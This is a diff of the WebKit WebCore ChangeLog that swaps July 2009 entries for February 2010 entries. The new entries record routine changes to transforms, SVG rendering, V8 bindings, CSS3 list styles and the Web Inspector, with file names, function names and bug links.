+        (WebCore::AffineTransform::mapPoint):
+        (WebCore::AffineTransform::mapRect):
+        * platform/graphics/transforms/AffineTransform.h:
+        (WebCore::AffineTransform::isIdentityOrTranslation):
+        * platform/graphics/transforms/TransformationMatrix.cpp:
+        (WebCore::TransformationMatrix::toAffineTransform):
         * platform/graphics/transforms/TransformationMatrix.h:
-        (WebCore::TransformationMatrix::operator*):
-        * platform/graphics/win/IconWin.cpp:
-        (WebCore::Icon::createIconForFile):
-        (WebCore::Icon::createIconForFiles):
-        (WebCore::Icon::paint):
+        * platform/graphics/win/FontCGWin.cpp:
+        (WebCore::drawGDIGlyphs):
+        * platform/graphics/win/GraphicsContextCGWin.cpp:
+        * platform/graphics/win/GraphicsContextCairoWin.cpp:
+        * platform/graphics/win/GraphicsContextWin.cpp:
+        (WebCore::GraphicsContextPlatformPrivate::concatCTM):
+        * platform/graphics/wince/FontWince.cpp:
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::GraphicsContextPlatformPrivate::concatCTM):
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::getCTM):
+        (WebCore::GraphicsContext::drawBitmapPattern):
+        * platform/graphics/wince/ImageBufferWince.cpp:
+        (WebCore::):
+        (WebCore::BufferedImage::drawPattern):
+        * platform/graphics/wince/PathWince.cpp:
+        (WebCore::Path::transform):
+        * platform/graphics/wince/PlatformPathWince.cpp:
+        (WebCore::drawPolygons):
+        (WebCore::PathPolygon::transform):
+        (WebCore::PlatformPathElement::transform):
+        (WebCore::PlatformPath::strokePath):
+        (WebCore::PlatformPath::fillPath):
+        (WebCore::PlatformPath::transform):
+        * platform/graphics/wince/PlatformPathWince.h:
+        (WebCore::):
+        * platform/graphics/wx/GraphicsContextWx.cpp:
+        (WebCore::GraphicsContext::getCTM):
+        * platform/graphics/wx/ImageWx.cpp:
+        (WebCore::BitmapImage::drawPattern):
+        (WebCore::Image::drawPattern):
+        * platform/graphics/wx/PathWx.cpp:
+        * platform/gtk/RenderThemeGtk.cpp:
+        (WebCore::paintMozillaGtkWidget):
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::paintWindowedPluginIntoContext):
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::localTransform):
+        * rendering/RenderBox.h:
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelScaleData::RenderBoxModelScaleData):
+        (WebCore::RenderBoxModelScaleData::transform):
+        (WebCore::RenderBoxModelScaleData::setTransform):
+        (WebCore::RenderBoxModelScaleObserver::shouldPaintBackgroundAtLowQuality):
+        (WebCore::RenderBoxModelObject::paintBoxShadow):
+        * rendering/RenderForeignObject.cpp:
+        (WebCore::RenderForeignObject::translationForAttributes):
+        (WebCore::RenderForeignObject::localToParentTransform):
+        * rendering/RenderForeignObject.h:
+        (WebCore::RenderForeignObject::localTransform):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::paintLayer):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::localTransform):
+        (WebCore::RenderObject::localToParentTransform):
+        (WebCore::RenderObject::absoluteTransform):
+        * rendering/RenderObject.h:
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::localToParentTransform):
+        (WebCore::RenderPath::localTransform):
+        * rendering/RenderPath.h:
+        * rendering/RenderSVGHiddenContainer.h:
+        (WebCore::RenderSVGHiddenContainer::absoluteTransform):
+        * rendering/RenderSVGImage.h:
+        (WebCore::RenderSVGImage::localToParentTransform):
+        (WebCore::RenderSVGImage::localTransform):
+        * rendering/RenderSVGRoot.cpp:
+        (WebCore::RenderSVGRoot::localToBorderBoxTransform):
+        (WebCore::RenderSVGRoot::localToRepaintContainerTransform):
+        (WebCore::RenderSVGRoot::localToParentTransform):
+        (WebCore::RenderSVGRoot::absoluteTransform):
+        (WebCore::RenderSVGRoot::localTransform):
+        * rendering/RenderSVGRoot.h:
+        * rendering/RenderSVGText.h:
+        (WebCore::RenderSVGText::localToParentTransform):
+        (WebCore::RenderSVGText::localTransform):
+        * rendering/RenderSVGTransformableContainer.cpp:
+        (WebCore::RenderSVGTransformableContainer::localToParentTransform):
+        (WebCore::RenderSVGTransformableContainer::localTransform):
+        (WebCore::RenderSVGTransformableContainer::calculateLocalTransform):
+        * rendering/RenderSVGTransformableContainer.h:
+        * rendering/RenderSVGViewportContainer.cpp:
+        (WebCore::RenderSVGViewportContainer::markerBoundaries):
+        (WebCore::RenderSVGViewportContainer::markerContentTransformation):
+        (WebCore::RenderSVGViewportContainer::viewportTransform):
+        (WebCore::RenderSVGViewportContainer::localToParentTransform):
+        (WebCore::RenderSVGViewportContainer::absoluteTransform):
+        * rendering/RenderSVGViewportContainer.h:
+        * rendering/SVGCharacterLayoutInfo.cpp:
+        (WebCore::SVGChar::characterTransform):
+        * rendering/SVGCharacterLayoutInfo.h:
+        (WebCore::SVGTextChunkWalker::operator()):
+        * rendering/SVGInlineTextBox.cpp:
+        (WebCore::SVGInlineTextBox::calculateGlyphBoundaries):
+        (WebCore::SVGInlineTextBoxClosestCharacterToPositionWalker::chunkPortionCallback):
+        (WebCore::SVGInlineTextBoxSelectionRectWalker::chunkPortionCallback):
+        (WebCore::SVGInlineTextBox::paintCharacters):
+        (WebCore::SVGInlineTextBox::paintDecoration):
+        * rendering/SVGMarkerLayoutInfo.h:
+        (WebCore::MarkerLayout::MarkerLayout):
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::applyTransformToPaintInfo):
+        * rendering/SVGRenderSupport.h:
+        * rendering/SVGRenderTreeAsText.cpp:
+        (WebCore::operator<<):
+        * rendering/SVGRenderTreeAsText.h:
+        * rendering/SVGRootInlineBox.cpp:
+        (WebCore::SVGRootInlineBoxPaintWalker::chunkPortionCallback):
+        (WebCore::applyTextLengthCorrectionToTextChunk):
+        (WebCore::SVGRootInlineBox::buildLayoutInformation):
+        * rendering/TransformState.cpp:
+        (WebCore::TransformState::applyTransform):
+        * rendering/TransformState.h:
+        * svg/GradientAttributes.h:
+        (WebCore::GradientAttributes::gradientTransform):
+        (WebCore::GradientAttributes::setGradientTransform):
+        * svg/PatternAttributes.h:
+        (WebCore::PatternAttributes::patternTransform):
+        (WebCore::PatternAttributes::setPatternTransform):
+        * svg/SVGAnimateMotionElement.cpp:
+        (WebCore::SVGAnimateMotionElement::resetToBaseValue):
+        (WebCore::SVGAnimateMotionElement::calculateAnimatedValue):
+        (WebCore::SVGAnimateMotionElement::applyResultsToTarget):
+        * svg/SVGAnimateMotionElement.h:
+        * svg/SVGAnimateTransformElement.cpp:
+        * svg/SVGAnimateTransformElement.h:
+        * svg/SVGElement.h:
+        (WebCore::SVGElement::supplementalTransform):
+        * svg/SVGFitToViewBox.cpp:
+        (WebCore::SVGFitToViewBox::viewBoxToViewTransform):
+        * svg/SVGFitToViewBox.h:
+        * svg/SVGLocatable.cpp:
+        (WebCore::SVGLocatable::getCTM):
+        (WebCore::SVGLocatable::getScreenCTM):
+        (WebCore::SVGLocatable::getTransformToElement):
+        * svg/SVGLocatable.h:
+        * svg/SVGMarkerElement.cpp:
+        (WebCore::SVGMarkerElement::viewBoxToViewTransform):
+        * svg/SVGMarkerElement.h:
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::drawMaskerContent):
+        * svg/SVGMatrix.idl:
+        * svg/SVGPatternElement.cpp:
+        (WebCore::SVGPatternElement::buildPattern):
+        * svg/SVGPreserveAspectRatio.cpp:
+        (WebCore::SVGPreserveAspectRatio::getCTM):
+        * svg/SVGPreserveAspectRatio.h:
+        * svg/SVGSVGElement.cpp:
+        (WebCore::SVGSVGElement::viewport):
+        (WebCore::SVGSVGElement::createSVGMatrix):
+        (WebCore::SVGSVGElement::createSVGTransformFromMatrix):
+        (WebCore::SVGSVGElement::getCTM):
+        (WebCore::SVGSVGElement::getScreenCTM):
+        (WebCore::SVGSVGElement::viewBoxToViewTransform):
+        * svg/SVGSVGElement.h:
+        * svg/SVGStyledLocatableElement.cpp:
+        (WebCore::SVGStyledLocatableElement::getCTM):
+        (WebCore::SVGStyledLocatableElement::getScreenCTM):
+        * svg/SVGStyledLocatableElement.h:
+        * svg/SVGStyledTransformableElement.cpp:
+        (WebCore::SVGStyledTransformableElement::getCTM):
+        (WebCore::SVGStyledTransformableElement::getScreenCTM):
+        (WebCore::SVGStyledTransformableElement::animatedLocalTransform):
+        (WebCore::SVGStyledTransformableElement::supplementalTransform):
+        * svg/SVGStyledTransformableElement.h:
+        (WebCore::SVGStyledTransformableElement::isStyledTransformable):
+        (WebCore::SVGStyledTransformableElement::toPathData):
+        * svg/SVGTextContentElement.cpp:
+        (WebCore::SVGInlineTextBoxQueryWalker::chunkPortionCallback):
+        * svg/SVGTextElement.cpp:
+        (WebCore::SVGTextElement::getScreenCTM):
+        (WebCore::SVGTextElement::getCTM):
+        (WebCore::SVGTextElement::animatedLocalTransform):
+        (WebCore::SVGTextElement::supplementalTransform):
+        * svg/SVGTextElement.h:
+        * svg/SVGTextPathElement.cpp:
+        * svg/SVGTransform.cpp:
+        (SVGTransform::SVGTransform):
+        (SVGTransform::matrix):
+        (SVGTransform::setMatrix):
+        * svg/SVGTransform.h:
+        * svg/SVGTransformDistance.cpp:
+        (WebCore::SVGTransformDistance::SVGTransformDistance):
+        (WebCore::SVGTransformDistance::scaledDistance):
+        (WebCore::SVGTransformDistance::isZero):
+        * svg/SVGTransformDistance.h:
+        * svg/SVGTransformList.cpp:
+        (SVGTransformList::createSVGTransformFromMatrix):
+        (SVGTransformList::concatenate):
+        (SVGTransformList::valueAsString):
+        * svg/SVGTransformList.h:
+        * svg/SVGTransformable.cpp:
+        (WebCore::SVGTransformable::getCTM):
+        (WebCore::SVGTransformable::getScreenCTM):
+        (WebCore::SVGTransformable::parseTransformValue):
+        * svg/SVGTransformable.h:
+        (WebCore::SVGTransformable::):
+        * svg/graphics/SVGPaintServerGradient.cpp:
+        (WebCore::SVGPaintServerGradient::gradientTransform):
+        (WebCore::SVGPaintServerGradient::setGradientTransform):
+        (WebCore::clipToTextMask):
+        (WebCore::SVGPaintServerGradient::setup):
+        * svg/graphics/SVGPaintServerGradient.h:
+        * svg/graphics/SVGPaintServerPattern.cpp:
+        (WebCore::SVGPaintServerPattern::patternTransform):
+        (WebCore::SVGPaintServerPattern::setPatternTransform):
+        (WebCore::SVGPaintServerPattern::setup):
+        * svg/graphics/SVGPaintServerPattern.h:
+        * svg/graphics/SVGResourceClipper.cpp:
+        (WebCore::SVGResourceClipper::applyClip):
+        * svg/graphics/SVGResourceMarker.cpp:
+        (WebCore::SVGResourceMarker::markerTransformation):
+        (WebCore::SVGResourceMarker::draw):
+        * svg/graphics/SVGResourceMarker.h:
+        * svg/graphics/filters/SVGFEImage.cpp:
+        * svg/graphics/filters/SVGFETile.cpp:
+        (WebCore::FETile::apply):
 
-2009-07-30  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+2010-02-08  Stephen White  <senorblanco@chromium.org>
 
-        Reviewed by Ariya Hidayat.
+        Reviewed by Dimitri Glazkov.
 
-        Improve efficiency by rewriting code doing three hash table
-        lookups, which can be replaced by just one as pointed out
-        by Darin Adler.
+        Make an inline function containing a static var out-of-line.  This is
+        a workaround for Xcode 3.1 bug radar 7070016.  We tripped on this in
+        deviceRGBColorSpaceRef on the Chromium canaries.  This is a proactive
+        fix for the same problem in sRGBColorSpaceRef().
 
-        Though being slightly less clear, this should be considerable
-        faster.
+        https://bugs.webkit.org/show_bug.cgi?id=34663
 
-        * plugins/PluginDatabase.cpp:
-        (WebCore::PluginDatabase::remove):
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::sRGBColorSpaceRef):
+        * platform/graphics/cg/GraphicsContextPlatformPrivateCG.h:
 
-2009-07-30  Antonio Gomes   <antonio.gomes@openbossa.org>
+2010-02-08  Nate Chapin  <japhet@chromium.org>
 
-        Reviewed by Gustavo Noronha.
+        Reviewed by Dimitri Glazkov.
 
-        [Gtk] Code cleanup in MediaPlayerPrivateGStreamer.cpp|h and VideoSinkGStreamer.cpp|h (Part 2)
-        https://bugs.webkit.org/show_bug.cgi?id=27651
+        [V8] Unify the WorkerContext V8 object wrapping code with
+        the standard V8 object wrapping code.
 
-        Removed unneeded includes (gdk.h and gtk.h) and added glib.h and cairo.h instead.
+        https://bugs.webkit.org/show_bug.cgi?id=34658
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
+        * bindings/v8/V8WorkerContextEventListener.cpp:
+        (WebCore::V8WorkerContextEventListener::handleEvent):
+        (WebCore::V8WorkerContextEventListener::getReceiverObject):
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        * bindings/v8/WorkerContextExecutionProxy.h:
+        * bindings/v8/custom/V8NotificationCenterCustom.cpp:
+        (WebCore::V8NotificationCenter::createHTMLNotificationCallback):
+        (WebCore::V8NotificationCenter::createNotificationCallback):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::toV8):
 
-2009-07-30  Antonio Gomes   <antonio.gomes@openbossa.org>
+2010-02-08  Kwang Yul Seo  <skyul@company100.net>
 
-        Reviewed by Gustavo Noronha.
+        Reviewed by Darin Adler.
 
-        [Gtk] Code cleanup in MediaPlayerPrivateGStreamer.cpp|h and VideoSinkGStreamer.cpp|h (Part 1)
-        https://bugs.webkit.org/show_bug.cgi?id=27651
+        Use fastStrDup instead of strdup
+        https://bugs.webkit.org/show_bug.cgi?id=33943
 
-        Fixed many code style issues pointed by WebKitTools/Scripts/modules/cpplint.py
-        No functionality change at all.
+        Replace strdup/free with fastStrDup/fastFree.
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
-        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
-        * platform/graphics/gtk/VideoSinkGStreamer.h:
+        * bridge/IdentifierRep.h:
+        (WebCore::IdentifierRep::IdentifierRep):
+        * bridge/jni/JNIBridge.cpp:
+        (JavaMethod::~JavaMethod):
+        (appendClassName):
+        (JavaMethod::signature):
+        * bridge/jni/jsc/JavaClassJSC.cpp:
+        (JavaClass::JavaClass):
+        (JavaClass::~JavaClass):
+        * platform/network/curl/ResourceHandleCurl.cpp:
+        (WebCore::ResourceHandleInternal::~ResourceHandleInternal):
+        * platform/network/curl/ResourceHandleManager.cpp:
+        (WebCore::ResourceHandleManager::~ResourceHandleManager):
+        (WebCore::ResourceHandleManager::setCookieJarFileName):
+        (WebCore::ResourceHandleManager::initializeHandle):
+        * plugins/PluginStream.cpp:
+        (WebCore::PluginStream::~PluginStream):
+        (WebCore::PluginStream::startStream):
+        * xml/XSLTProcessorLibxslt.cpp:
+        (WebCore::xsltParamArrayFromParameterMap):
+        (WebCore::freeXsltParamArray):
 
-2009-07-30  Jakub Wieczorek  <faw217@gmail.com>
+2010-02-08  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
 
         Reviewed by Simon Hausmann.
 
-        Allow to explicitly choose a preferred plugin for a mimetype.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27651
-
-        When the preferred plugin is set for a specific MIME type, it will be
-        always picked up, regardless of its version, quirks etc.
-
-        Client applications may want to use that API to resolve mimetype
-        ambiguity in a custom way, rather than in the default way that is
-        currently used in WebKit.
-
-        * plugins/PluginDatabase.cpp:
-        (WebCore::PluginDatabase::pluginForMIMEType):
-        (WebCore::PluginDatabase::MIMETypeForExtension):
-        (WebCore::PluginDatabase::setPreferredPluginForMIMEType): Added.
-        (WebCore::PluginDatabase::remove):
-        (WebCore::PluginDatabase::clear):
-        * plugins/PluginDatabase.h:
-
-2009-07-30  Jakub Wieczorek  <faw217@gmail.com>
-
-        [Qt] Fix build with Qt 4.4 after r46535.
-
-        * platform/network/qt/ResourceHandleQt.cpp:
-
-2009-07-30  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        Video elements fires another "load" event when attached to DOM
-        https://bugs.webkit.org/show_bug.cgi?id=27623
-
-        Test: media/media-load-event.html
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::insertedIntoDocument):
-            Only schedule load when element's network state is NETWORK_EMPTY.
+        Fix Qt build on Windows.
 
-2009-07-30  Anton Muhin  <antonm@chromium.org>
+        nmake fails to pick the right cpp file, so we have to
+        rename the file to to a unique name.
 
-        Reviewed by David Levin.
-
-        Cache v8 strings when converting from WebCore::String to v8 string.
-        https://bugs.webkit.org/show_bug.cgi?id=27655
-
-        * bindings/v8/V8Binding.cpp:
-        (WebCore::v8String): now just immediately calls v8ExternalString
-        (WebCore::enableStringImplCache): enables caching of conversions from WebCore::StringImpl to
-        v8::String
-        (WebCore::makeExternalString): utilty function to create external v8::String out of
-        WebCore::String
-        (WebCore::getStringCache): static function to access string cache
-        (WebCore::cachedStringCallback): callback for weak handles of v8::Strings stored in the
-        cache
-        (WebCore::v8ExternalString): if caching enabled, checks if there is already v8::String for
-        the given WebCore::StringImpl.  If present, returns it, otherwise creates a new v8 external
-        string.
-        * bindings/v8/V8Binding.h:
-
-2009-07-30  Xan Lopez  <xlopez@igalia.com>
+        * WebCore.pro:
+        * platform/graphics/qt/FontCustomPlatformDataQt.cpp: Renamed from WebCore/platform/graphics/qt/FontCustomPlatformData.cpp.
 
-        Reviewed by Maciej Stachowiak.
+2010-02-08  Nikolas Zimmermann  <nzimmermann@rim.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=25535
-        [GTK] object:state-changed:checked events missing for radio buttons and checkboxes
+        Reviewed by Dirk Schulze.
 
-        Implement state-changed:checked for radio buttons and checkboxes.
+        All SVG *-expected.txt files contain wrong results
+        https://bugs.webkit.org/show_bug.cgi?id=34703
 
-        * accessibility/gtk/AXObjectCacheAtk.cpp:
-        (WebCore::AXObjectCache::postPlatformNotification):
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::setChecked):
+        Finally dump meaningful information for SVG layout tests.
+        Use 'absoluteClippedOverflowRect' which goes through the same code paths used
+        to actually calculate repaint rects etc - instead of the legacy CSS-unaware
+        code path that mapped 'repaintRectInLocalCoordinates' through 'absoluteTransform'.
+        Remove absoluteTransform() - a long standing TODO, finally not needed anymore.
 
-2009-07-30  Xan Lopez  <xlopez@igalia.com>
+        Despite SVGRenderTreeAsText, SVGPaintServerGradient was also using absoluteTransform().
+        Rewrite the code in question, fixing svg/W3C-SVG-1.1/pserver-grad-08-b.svg alignment issues
+        when scaling/panning text using gradient on stroke/fill. Affects some other gradient tests as well.
 
-        Forgot the 'break'.
+        As we're now dumping clipped overflow rects any problems with repaint rects will become
+        immediate visible - it turns out we're not supporting the overflow rules on the outermost <svg>
+        element properly (repaint rects and bounding boxes need to take special SVG overflow rules into account).
+        Fixing that magically gives pixel-perfect clipped overflow rects for all types of shapes/text/containers.
 
-        * platform/ContextMenu.cpp:
-        (WebCore::ContextMenu::checkOrEnableIfNeeded):
+        Note: This will break any overriden platform-specific SVG results, need to wait for build bots in order to update them.
 
-2009-07-30  Xan Lopez  <xlopez@igalia.com>
+        * rendering/RenderObject.cpp: Remove absoluteTransform() method, centralize overflow query code in SVGRenderSupport::isOverflowHidden().
+        * rendering/RenderObject.h: Remove absoluteTransform() method.
+        * rendering/RenderSVGHiddenContainer.h: Ditto.
+        * rendering/RenderSVGRoot.cpp:
+        (WebCore::RenderSVGRoot::paint): Use SVGRenderSupport::isOverflowHidden() to query SVG overflow mode.
+        (WebCore::RenderSVGRoot::computeRectForRepaint): Respect SVG overflow rules here: clip repaintRect against overflow rect _before_ passing
+                                                         along to RenderBox. This is the key issue behind wrong absoluteClippedOverflowRect() values.
+        (WebCore::RenderSVGRoot::nodeAtPoint): Use SVGRenderSupport::isOverflowHidden() to query SVG overflow mode.
+        * rendering/RenderSVGRoot.h: Remove absoluteTransform(). Don't expose viewportSize() anymore.
+        * rendering/RenderSVGText.cpp: 
+        (WebCore::RenderSVGText::strokeBoundingBox): Fix default stroke width to 1. This was the only wrong place -> fixes repaint rects for stroked text.
+        * rendering/RenderSVGViewportContainer.cpp: Remove absoluteTransform() method.
+        (WebCore::RenderSVGViewportContainer::pointIsInsideViewportClip): Use SVGRenderSupport::isOverflowHidden() to query SVG overflow mode.
+        * rendering/RenderSVGViewportContainer.h: Remove absoluteTransform() method.
+        * rendering/SVGRenderSupport.cpp: Refactored overflow queries in one place, centralizing SVG specific assumptions about overflowX/Y.
+        (WebCore::SVGRenderBase::isOverflowHidden):
+        * rendering/SVGRenderSupport.h:
+        * rendering/SVGRenderTreeAsText.cpp: Dump absoluteClippedOverflowRect() instead of absoluteTransform().mapRect(repaintRectInLocalCoordinates()).
+        (WebCore::writePositionAndStyle): Affects all layout tests dumping render trees.
+        * svg/graphics/SVGPaintServerGradient.cpp: Rewrite Gradient on text fill/stroke support on Cg, to avoid using absoluteTransform().
+        (WebCore::absoluteTransformForRenderer):
+        (WebCore::createMaskAndSwapContextForTextGradient):
+        (WebCore::clipToTextMask):
+        (WebCore::SVGPaintServerGradient::setup):
 
-        Try to fix Mac build.
+2010-02-07  Daniel Bates  <dbates@webkit.org>
 
-        * platform/ContextMenu.cpp:
-        (WebCore::ContextMenu::checkOrEnableIfNeeded):
+        Reviewed by Darin Adler.
 
-2009-07-29  Xan Lopez  <xlopez@igalia.com>
+        https://bugs.webkit.org/show_bug.cgi?id=34402
 
-        Reviewed by Adam Barth.
+        Implements all of the numeric CSS3 list-style-types as per
+        section 4.3 of the CSS3 Lists module <http://www.w3.org/TR/css3-lists/#numeric>.
 
-        Add missing enumeration value to switch.
+        Test: fast/lists/w3-css3-list-styles-numeric.html
 
-        * platform/ContextMenu.cpp:
-        (WebCore::ContextMenu::checkOrEnableIfNeeded):
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+        * css/CSSValueKeywords.in:
+        * inspector/front-end/SourceCSSTokenizer.re2js:
+        * platform/text/CharacterNames.h: Added constant hyphenMinus.
+        * rendering/RenderListMarker.cpp:
+        (WebCore::): Defined enum SequenceType.
+        (WebCore::toAlphabeticOrNumeric): Added.
+        (WebCore::toAlphabetic): Modified to call WebCore::toAlphabeticOrNumeric.
+        (WebCore::toNumeric): Added.
+        (WebCore::listMarkerSuffix):
+        (WebCore::listMarkerText):
+        (WebCore::RenderListMarker::paint):
+        (WebCore::RenderListMarker::calcPrefWidths):
+        (WebCore::RenderListMarker::getRelativeMarkerRect):
+        * rendering/style/RenderStyle.h:
+        (WebCore::):
+        * rendering/style/RenderStyleConstants.h: Added numeric list style types
+        and fixed indent level for the enum values.
+        (WebCore::):
 
-2009-07-29  Jian Li  <jianli@chromium.org>
+2010-02-07  Ismail Donmez  <ismail@namtrac.org>
 
         Reviewed by Darin Adler.
 
-        Workers need to throw an exception when presented with invalid URLs.
-        https://bugs.webkit.org/show_bug.cgi?id=27770
+        Include wtf/StringExtras.h for strdup definition, which
+        is needed for WinCE.
 
-        Tests covered by worker-constructor.html and worker-redirect.html.
-
-        * bindings/js/JSWorkerConstructor.cpp:
-        (WebCore::constructWorker):
-        * bindings/v8/custom/V8WorkerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * workers/Worker.cpp:
-        (WebCore::Worker::Worker):
-        * workers/Worker.h:
-        (WebCore::Worker::create):
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::importScripts):
-        * workers/WorkerScriptLoader.cpp:
-        (WebCore::WorkerScriptLoader::loadSynchronously):
-        (WebCore::WorkerScriptLoader::loadAsynchronously):
-        (WebCore::WorkerScriptLoader::createResourceRequest):
-        * workers/WorkerScriptLoader.h:
-
-2009-07-29  Brady Eidson  <beidson@apple.com>
+        * bridge/IdentifierRep.h:
 
-        Reviewed by Darin Adler.
+2010-02-07  Pavel Feldman  <pfeldman@chromium.org>
 
-        (REGRESSION: r46039) Should restore previous connections-per-host limit for non-http(s) hosts
-        https://bugs.webkit.org/show_bug.cgi?id=27822 and <rdar://problem/7091659>
+        Reviewed by Timothy Hatcher.
 
-        * loader/loader.cpp:
-        (WebCore::Loader::Host::servePendingRequests): For non-http(s) hosts, restore the previous behavior of 
-          only limiting connections while parsing and still trying to figure out stylesheet urls.
+        Web Inspector: Fragment-held Elements Not Shown in Inspector.
 
-2009-07-29  Yong Li  <yong.li@torchmobile.com>
+        https://bugs.webkit.org/show_bug.cgi?id=34680
 
-        Reviewed by George Staikos.
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::pushChildNodesToFrontend):
+        (WebCore::InspectorDOMAgent::buildObjectForNode):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype._nodeTitleInfo):
 
-        WINCE PORT: Add WebCore/page/wince/FrameWince.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=27729
+2010-02-07  Jian Li  <jianli@chromium.org>
 
-        * page/wince/FrameWince.cpp: Added.
+        Reviewed by Darin Fisher.
 
-2009-07-29  Ryosuke Niwa  <rniwa@webkit.org>
+        [chromium] Change chromium interface to handle DownloadURL format.
+        https://bugs.webkit.org/show_bug.cgi?id=34655
 
-        Reviewed by Justin Garcia.
+        * platform/chromium/ChromiumDataObject.cpp:
+        (WebCore::ChromiumDataObject::clear):
+        (WebCore::ChromiumDataObject::hasData):
+        (WebCore::ChromiumDataObject::ChromiumDataObject):
+        * platform/chromium/ChromiumDataObject.h:
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::ClipboardChromium::setData):
 
-        REGRESSION(r46370-46426): /editing/style/remove-underline-from-stylesheet.html fails
-        https://bugs.webkit.org/show_bug.cgi?id=27809
+2010-02-06  Dimitri Glazkov  <dglazkov@chromium.org>
 
-        The patch primarily rebaselines the tests but also fixes the bug in currentlyHasStyle.
-        To determine that a particular text decoration is present, currentlyHasStyle should refer to
-        -webkit-text-decorations-in-effect to take care of styles set by u, s, strike tags and ancestors' CSS.
-        We also need to update layout to accommodate the changes made within ApplyStyleCommand.
+        No review, rolling out r54364.
+        http://trac.webkit.org/changeset/54364
+        https://bugs.webkit.org/show_bug.cgi?id=34464
 
-        * editing/ApplyStyleCommand.cpp: ditto
-        (WebCore::StyleChange::currentlyHasStyle): ditto
+        Introduced asserts in layout tests, needs more testing
+        locally.
 
-2009-07-29  Yong Li  <yong.li@torchmobile.com>
+        * accessibility/chromium/AXObjectCacheChromium.cpp:
+        (WebCore::AXObjectCache::postPlatformNotification):
+        * page/chromium/ChromeClientChromium.h:
 
-        Reviewed by George Staikos.
+2010-02-06  Dimitri Glazkov  <dglazkov@chromium.org>
 
-        WINCE PORT: changes to platform/text files
-        https://bugs.webkit.org/show_bug.cgi?id=27715
+        Reviewed by Adam Barth.
 
-        * platform/text/String.cpp:
-        (WebCore::String::format):
-        * platform/text/TextEncoding.cpp:
-        (WebCore::TextEncoding::encode):
-        * platform/text/TextEncodingRegistry.cpp:
-        (WebCore::buildBaseTextCodecMaps):
-        (WebCore::extendTextCodecMaps):
+        Using inlines and function-level statics don't mix, according to gcc.
+        https://bugs.webkit.org/show_bug.cgi?id=34663
 
-2009-07-29  Yong Li  <yong.li@torchmobile.com>
+        De-inline deviceRGBColorSpaceRef to avoid gcc-bug landmines.
 
-        Reviewed by Adam Roben.
+        It appears that the initialization check, generated by gcc doesn't account
+        for a possibility that the function may be inlined, resulting in lazy
+        initialization failure for more than one inlined instance of the function.
 
-        FIX: HDC leaks in PopupMenuWin.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=27817
+        No behavior change, so no new tests.
 
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::~PopupMenu):
-        (WebCore::PopupMenu::paint):
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::deviceRGBColorSpaceRef):
+        * platform/graphics/cg/GraphicsContextPlatformPrivateCG.h:
 
-2009-07-29  Darin Adler  <darin@apple.com>
+2010-02-05  Geoffrey Garen  <ggaren@apple.com>
 
         Reviewed by Dan Bernstein.
 
-        Illegal values for <ol start> cause list numbering start at 0 (should start at 1)
-        https://bugs.webkit.org/show_bug.cgi?id=27810
-
-        Test: fast/lists/ol-start-parsing.html
-
-        * html/HTMLOListElement.cpp:
-        (WebCore::HTMLOListElement::parseMappedAttribute): Check the result of toInt
-        and use the value 1 if it failed to parse. Before we were getting toInt's default
-        behavior, which is to return 0.
-
-2009-07-29  Kevin McCullough  <kmccullough@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Added foundation work to allow a testing infrastructure for the Web
-        Inspector.
-
-        * inspector/InspectorClient.h:
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::scriptObjectReady): Tell the testing
-        harness that the window object is ready.
-        * loader/EmptyClients.h: Empty class support for SVG.
-        (WebCore::EmptyInspectorClient::inspectorWindowObjectCleared):
-
-2009-07-29  Chris Fleizach  <cfleizach@apple.com>
-
-        Build fix for windows after landing
-        Bug 27807 - AX: move re-usable code into more common areas for other platforms
-   
-        Apparently bzero doesn't exist on windows.
-
-        * accessibility/AXObjectCache.cpp:
-        (WebCore::AXObjectCache::textMarkerDataForVisiblePosition):
-
-2009-07-29  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Justin Garcia.
-
-        Bug 27807 - AX: move re-usable code into more common areas for other platforms
-        https://bugs.webkit.org/show_bug.cgi?id=27807
-
